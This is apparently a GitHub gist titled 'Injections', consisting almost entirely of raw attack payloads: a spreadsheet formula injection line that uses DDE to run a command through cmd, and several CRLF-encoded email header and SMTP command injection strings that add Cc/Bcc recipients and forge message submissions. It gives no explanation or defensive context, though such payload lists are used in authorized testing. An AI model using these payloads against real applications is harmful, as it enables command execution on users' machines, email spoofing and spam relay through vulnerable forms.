Skip to content

Instantly share code, notes, and snippets.

@SleepyLctl
Last active July 31, 2018 07:00
Show Gist options
  • Save SleepyLctl/20a32dedad7bfef402ac83e5c67dc7ff to your computer and use it in GitHub Desktop.
Save SleepyLctl/20a32dedad7bfef402ac83e5c67dc7ff to your computer and use it in GitHub Desktop.
Injections
Excel Formula Injection
@SUM(1+1)*cmd|' /C calc'!A0
<youremail>%0aCc:<youremail>
<youremail>%0d%0aCc:<youremail>
<youremail>%0aBcc:<youremail>
<youremail>%0d%0aBcc:<youremail>%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>
%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment